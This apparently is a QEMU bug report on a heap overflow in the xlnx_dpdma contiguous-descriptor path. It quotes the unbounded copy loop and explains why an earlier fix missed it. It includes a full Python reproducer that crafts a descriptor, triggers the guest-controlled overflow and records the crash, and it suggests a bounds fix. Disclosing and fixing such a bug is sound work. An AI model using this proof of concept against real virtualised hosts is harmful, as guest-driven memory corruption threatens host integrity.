Disclaimer: The contents below are largely assisted by LLM, but I have reviewed the contents clearly. The issue itself relates to a previous issue #3206 not fixed cleanly and still causing ASAN aborts. According to the security policy, I do not enable confidentiality. ## Host environment - QEMU flavor: `qemu-system-aarch64` - QEMU version: `qemu.git` master @ `3e3ccab106` (v11.1.0-rc3) - Machine: `xlnx-zcu102` - Build: `--enable-sanitizers`, clang ## Description of problem In `xlnx_dpdma_start_operation()`, the contiguous-descriptor path copies guest memory into a fixed host buffer using a guest-controlled length and a guest-controlled stride, with no bound on the destination offset: ```c /* hw/dma/xlnx_dpdma.c, contiguous branch */ int64_t transfer_len = xlnx_dpdma_desc_get_transfer_size(&desc); /* guest */ uint32_t line_size = xlnx_dpdma_desc_get_line_size(&desc); /* guest */ uint32_t line_stride = xlnx_dpdma_desc_get_line_stride(&desc); /* guest */ if (xlnx_dpdma_desc_is_contiguous(&desc)) { source_addr[0] = xlnx_dpdma_desc_get_source_address(&desc, 0); while (transfer_len != 0) { if (dma_memory_read(&address_space_memory, source_addr[0], &s->data[channel][ptr], /* <-- ptr is unbounded */ line_size, MEMTXATTRS_UNSPECIFIED)) { ... break; } ptr += line_size; transfer_len -= line_size; source_addr[0] += line_stride; } } ``` `s->data[channel]` is a fixed host buffer registered by the display device via `xlnx_dpdma_set_host_data_location()`; neither `transfer_len` nor `ptr` is ever compared against its capacity. A descriptor with a large `transfer_size` therefore walks `ptr` arbitrarily far past the end of that buffer, writing guest-supplied bytes the whole way. Both destination classes are affected: - **channel 3** (graphics plane) → the pixman surface returned by `surface_data()` - **channels 4 and 5** (audio) → `&s->audio_buffer_0` / `&s->audio_buffer_1`, which are `int16_t` arrays embedded in `XlnxDPState` (`hw/display/xlnx_dp.c`), i.e. a much smaller target inside a heap object The same missing check exists in the fragment branch further down. ## Steps to reproduce Two differences from the original script matter: 1. **Clear bit 18 of the descriptor control word.** `DSCR_CTRL_DESCRIPTOR_MODE` is `(1 << 18)` and `xlnx_dpdma_desc_is_contiguous()` returns `(desc->control & DSCR_CTRL_DESCRIPTOR_MODE) == 0`. The original word `0x080400A5` sets it, so the descriptor takes the fragment branch, whose loop condition `while ((transfer_len < 0) && (frag < 5))` is never entered for a positive transfer size. Use `0x002000A5` (preamble `0xA5` + `LAST_DSCR_OF_FRAME`, bit 18 clear). 2. **Force a display update.** With `-display none` and no screendump, `xlnx_dp_update_display()` never runs, so `xlnx_dpdma_start_operation()` is never called at all — which is exactly what you observed. The script below issues a QMP `screendump` to drive it. ```python #!/usr/bin/env python3 """xlnx-zcu102 DPDMA contiguous-transfer heap overflow. Usage: QEMU=./build/qemu-system-aarch64 python3 dpdma_repro.py [ctrl_word] default 0x002000A5 (crashes); pass 0x080400A5 for the negative control. """ import json, os, socket, subprocess, sys, tempfile QEMU = os.environ.get("QEMU", "./build/qemu-system-aarch64") CTRL = int(sys.argv[1], 0) if len(sys.argv) > 1 else 0x002000A5 DP_BASE, DPDMA_BASE = 0xFD4A0000, 0xFD4C0000 DESC, SRC = 0x00100000, 0x00100400 XFER_SIZE, LINE_SIZE, LINE_STRIDE = 0x01000000, 0x1000, 0 HRES, VRES = 0x10, 0x10 # tiny surface => overflow is immediate tmp = tempfile.mkdtemp() qtest_path, qmp_path = os.path.join(tmp, "qtest"), os.path.join(tmp, "qmp") srv = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); srv.bind(qtest_path); srv.listen(1) qemu = subprocess.Popen( [QEMU, "-machine", "xlnx-zcu102", "-display", "none", "-nodefaults", "-audio", "none,id=aud0", "-accel", "qtest", "-qtest", "unix:" + qtest_path, "-chardev", "socket,path=%s,id=char0,server=on,wait=off" % qmp_path, "-object", "monitor-qmp,id=qmp0,chardev=char0"]) conn, _ = srv.accept(); conn.settimeout(15); srv.close() buf = b"" def line(): global buf while b"\n" not in buf: d = conn.recv(4096) if not d: return "" buf += d out, buf = buf.split(b"\n", 1) return out.decode(errors="replace") def wr(addr, val): conn.sendall(("writel 0x%x 0x%x\n" % (addr, val)).encode()); line() line() # qtest greeting wr(DP_BASE + 0x194, HRES) # DP_MAIN_STREAM_HRES wr(DP_BASE + 0x198, VRES) # DP_MAIN_STREAM_VRES wr(DESC + 0x00, CTRL) # control word wr(DESC + 0x04, 0) wr(DESC + 0x08, XFER_SIZE) # transfer size (16 MiB) wr(DESC + 0x0C, (((LINE_STRIDE >> 4) & 0x3FFF) << 18) | (LINE_SIZE & 0x3FFFF)) wr(DESC + 0x10, 0); wr(DESC + 0x14, 0) wr(DESC + 0x18, 0x1000) wr(DESC + 0x1C, 0) wr(DESC + 0x20, SRC) # source address for off in range(0x24, 0x40, 4): wr(DESC + off, 0) for off in range(0, 0x4000, 4): # recognisable payload wr(SRC + off, 0x11223344) wr(DPDMA_BASE + 0x500, 0) # CH3 start addr (extended) wr(DPDMA_BASE + 0x504, DESC) # CH3 start addr wr(DPDMA_BASE + 0x518, 1) # CH3 enable wr(DPDMA_BASE + 0x104, 1 << 3) # global trigger CH3 wr(DP_BASE + 0x80, 0x01) # transmitter enable qmp = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); qmp.settimeout(10) qmp.connect(qmp_path) qmp.recv(65536) qmp.sendall(b'{"execute":"qmp_capabilities"}\n'); qmp.recv(65536) qmp.sendall(json.dumps({"execute": "screendump", "arguments": {"filename": os.path.join(tmp, "out.ppm")}}).encode() + b"\n") try: print(qmp.recv(65536).decode(errors="replace").strip()) except Exception: print("(no QMP reply — QEMU died)") qemu.wait(timeout=15) print("qemu exit:", qemu.returncode) ``` ### Observed at `3e3ccab106` | control word | result | |---|---| | `0x080400A5` (original, bit 18 **set**) | clean exit — fragment path, loop never entered | | `0x000400A5` (bit 18 set) | clean exit | | **`0x002000A5`** (bit 18 **clear**) | **crash**, `xlnx_dpdma: start dpdma channel 0x3` then abort | With a graphics-plane surface the overflow lands in the pixman allocation; the original report's ASan output is the same defect at a 1920×1080 surface: ``` WRITE of size 4096 #0 __asan_memcpy #1 flatview_read_continue_step system/physmem.c ... #9 xlnx_dpdma_start_operation hw/dma/xlnx_dpdma.c ``` An audio-channel variant (channel 4, trigger bit 4, start-address registers at `0x600`/`0x604`, control at `0x618`) reaches the same loop through `xlnx_dp_audio_callback()` and overflows `audio_buffer_0` instead; that one needs no screendump because the audio timer drives it. ## Suggested fix direction Clamp the copy to the destination capacity. `xlnx_dpdma_set_host_data_location()` currently records only a pointer, so the device has no idea how large the target is — it probably needs to record a length alongside `s->data[channel]`, and then bound both `ptr + line_size` in the contiguous loop and the equivalent offset in the fragment loop. ## Note on the earlier "no longer triggered" report The closing comment on #3206 ("I pulled your patch and verified it in my environment. The bug is no longer triggered") attributed the disappearance of the crash to the displaysurface fix. `git show --stat f7add4533d6` shows that commit touches only `include/ui/qemu-pixman-helpers.h`, `include/ui/qemu-pixman.h` and `ui/qemu-pixman.c` — nothing under `hw/`. It fixed the early `qemu_memfd_alloc()` abort, not the DMA bounds check.